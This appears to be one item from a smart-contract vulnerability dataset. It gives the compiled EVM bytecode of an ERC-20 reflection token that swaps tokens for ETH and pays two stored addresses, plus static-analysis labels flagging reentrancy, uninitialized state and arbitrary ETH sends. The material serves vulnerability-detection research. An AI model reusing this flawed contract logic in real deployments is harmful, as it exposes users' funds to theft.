7884848484612877565b50505050565b600083831115829061232b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f05780820151818401526020810190506122d5565b50505050905090810190601f16801561231d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238e60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123b9573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240a60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612435573d6000803e3d6000fd5b5050565b6000600a54821115612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c9f602a913960400191505060405180910390fd5b60006124a0612ace565b90506124b5818461282d90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f257600080fd5b506040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b509050308160008151811061253257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d457600080fd5b505afa1580156125e8573d6000803e3d6000fd5b505050506040513d60208110156125fe57600080fd5b81019080805190602001909291905050508160018151811061261c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274757808201518184015260208101905061272c565b505050509050019650505050505050600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ba5760009050612827565b60008284029050828482816127cb57fe5b0414612822576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ceb6021913960400191505060405180910390fd5b809150505b92915050565b600061286f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612af9565b905092915050565b8061288557612884612bbf565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129285750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293d57612938848484612c02565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f5576129f0848484612e62565b612ab9565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aac57612aa78484846130c2565b612ab8565b612ab78484846133b7565b5b5b5b80612ac857612ac7613582565b5b50505050565b6000806000612adb613596565b91509150612af2818361282d90919063ffffffff16565b9250505090565b60008083118290612ba5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6a578082015181840152602081019050612b4f565b50505050905090810190601f168015612b975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb157fe5b049050809150509392505050565b6000600c54148015612bd357506000600d54145b15612bdd57612c00565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1487613843565b955095509550955095509550612c7287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de88161397d565b612df28483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7487613843565b955095509550955095509550612ed286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130488161397d565b6130528483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d487613843565b95509550955095509550955061313287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333d8161397d565b6133478483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133c987613843565b95509550955095509550955061342786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135088161397d565b6135128483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f8578260026000600984815481106135d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b7575081600360006009848154811061364f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d557600a54683635c9adc5dea000009450945050505061383f565b61375e60026000600984815481106136e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ab90919063ffffffff16565b92506137e9600360006009848154811061377457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ab90919063ffffffff16565b915080806001019150506135b1565b50613817683635c9adc5dea00000600a5461282d90919063ffffffff16565b82101561383657600a54683635c9adc5dea0000093509350505061383f565b81819350935050505b9091565b60008060008060008060008060006138608a600c54600d54613b5c565b9250925092506000613870612ace565b905060008060006138838e878787613bf2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227e565b905092915050565b600080828401905083811015613973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613987612ace565b9050600061399e82846127a790919063ffffffff16565b90506139f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1d57613ad983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3782600a546138ab90919063ffffffff16565b600a81905550613b5281600b546138f590919063ffffffff16565b600b819055505050565b600080600080613b886064613b7a888a6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bb26064613ba4888b6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bdb82613bcd858c6138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0b85896127a790919063ffffffff16565b90506000613c2286896127a790919063ffffffff16565b90506000613c3987896127a790919063ffffffff16565b90506000613c6282613c5485876138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cf010fd6733ba0fdcd98beaa982c1f738b6c35de15189568055f7959df6bc12164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,599 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.